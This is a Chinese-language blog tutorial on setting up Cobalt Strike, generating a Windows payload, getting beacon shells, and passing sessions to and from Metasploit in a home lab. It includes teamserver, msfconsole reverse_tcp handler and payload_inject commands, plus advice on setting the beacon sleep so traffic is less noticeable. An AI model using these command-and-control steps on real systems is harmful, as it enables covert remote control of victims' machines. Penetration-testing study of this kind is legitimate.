事情起因

CobaltStrike是老牌工具了,我还没写过

0x01 简介

Cobalt Strike 一款以Metasploit为基础的GUI框架式渗透测试工具,集成了端口转发、服务扫描,自动化溢出,多模式端口监听,exe、powershell木马生成等。钓鱼攻击包括:站点克隆,目标信息获取,java执行,浏览器自动攻击等。Cobalt Strike 主要用于团队作战,可谓是团队渗透神器,能让多个攻击者同时连接到团体服务器上,共享攻击资源与目标信息和sessions。Cobalt Strike 作为一款协同APT工具,针对内网的渗透测试和作为apt的控制终端功能,使其变成众多APT组织的首选。

0x02 安装启动

安装

Cobalt Strike 分为客户端和服务端,可分布式操作、协同作战。服务器端只能运行在Linux系统中,可搭建在VPS上。

我这里使用的t00ls论坛的cobaltstrike_v3.14版本

服务端关键的文件是teamserver以及cobaltstrike.jar,将这两个文件放到服务器上同一个目录,然后运行:

chmod +x teamserver
./teamserver 192.168.1.2 soapffz
# 服务端真实IP(不能使用0.0.0.0或127.0.0.1)和连接密码

cobaltstrike支持的java版本必须在这些之上:

OpenJDK 11
Oracle Java 11
Oracle Java 1.8

不然就会报错,按照官方推荐的安装方法安装即可

apt-get install openjdk-11-jdk -y

启动

LinuxWindows下都可以使用这条命令启动:

java -Dfile.encoding=UTF-8 -javaagent:CobaltStrikeCN.jar -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC  -jar cobaltstrike.jar

如果没有汉化文件也不会报错,只会提示你没有这个文件

当然,Windows下也可以直接点击cobaltstrike.bat`启动:

这里的用户名可以随便填,就是你的登录到cs之后的用户名:

0x03 简单上线示范

cs的参数太多了,如果是英文版的可以看下面的参考文章自行对比使用

我这里就简单示范一下基本的生成payload获得shell的过程

点击上面菜单的Attack(攻击),点击Packages(生成后门中)的Windows Executable

S的版本中的说明说的是无状态的。

添加一个监听器:

在这个版本中,提供了9个监听器:

beacon_xx系列为Cobalt Strike自身,包括dnshttphttpssmb四种方式的监听器。

foreign系列为外部监听器,通常与MSF或者Armitage联动。

Cobalt Strike3.13版本后增加了一个新的Listeners (windows/beacon_tcp/bind_tcp),它支持linuxSSH会话。

创建一个监听器

上线

上线成功:

右键目标进入beacon(interact)

Cobalt Strike中,默认心跳为60s,执行命令的响应很慢,在下载文件时更加明显

所以根据实战环境把时间降低,建议不要太快,否则流量会相对明显,在这里设置sleep 10

同时在beacon中,如果想对目标进行命令管理,需要在前面加上shell,如shell whoamishell ipconfig等。

0x04 msf与cs联动

msf获得beacon shell

cs中自带socks功能,可以使用socksmsf带入目标主机内网进行扫描

我这里是内网环境,就不示范了,我示范下beacon shell如何传给msf

首先在msf使用我们的老朋友开启监听,但要注意的是,payload不要设置为64位的:

msfconsole
handler -H 192.168.1.2 -P 3456 -p windows/meterpreter/reverse_tcp

然后选择目标主机右键选择派生会话(spawn),新建一个Listener

并选择新建的msfListener

然后msf就能收到会话,我的csmsf运行在同一台机器上也可以

cs获得msf会话

同样的,会话也能从msf传到cs,在cs中创建一个监听者,和上一步类似

这里host需要修改为cs客户端IP,创建好之后便监听端口,等待着被控机连接。

msf中执行如下操作:

use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set lhost 192.168.1.10
set lport 5678
set DisablePayloadHandler true
set session 1
run

把原来的会话删除掉,执行run后你就能看到会话又回来了

本文完。

参考文章:

最后修改:2020 年 02 月 09 日
如果觉得我的文章对你有用,请随意赞赏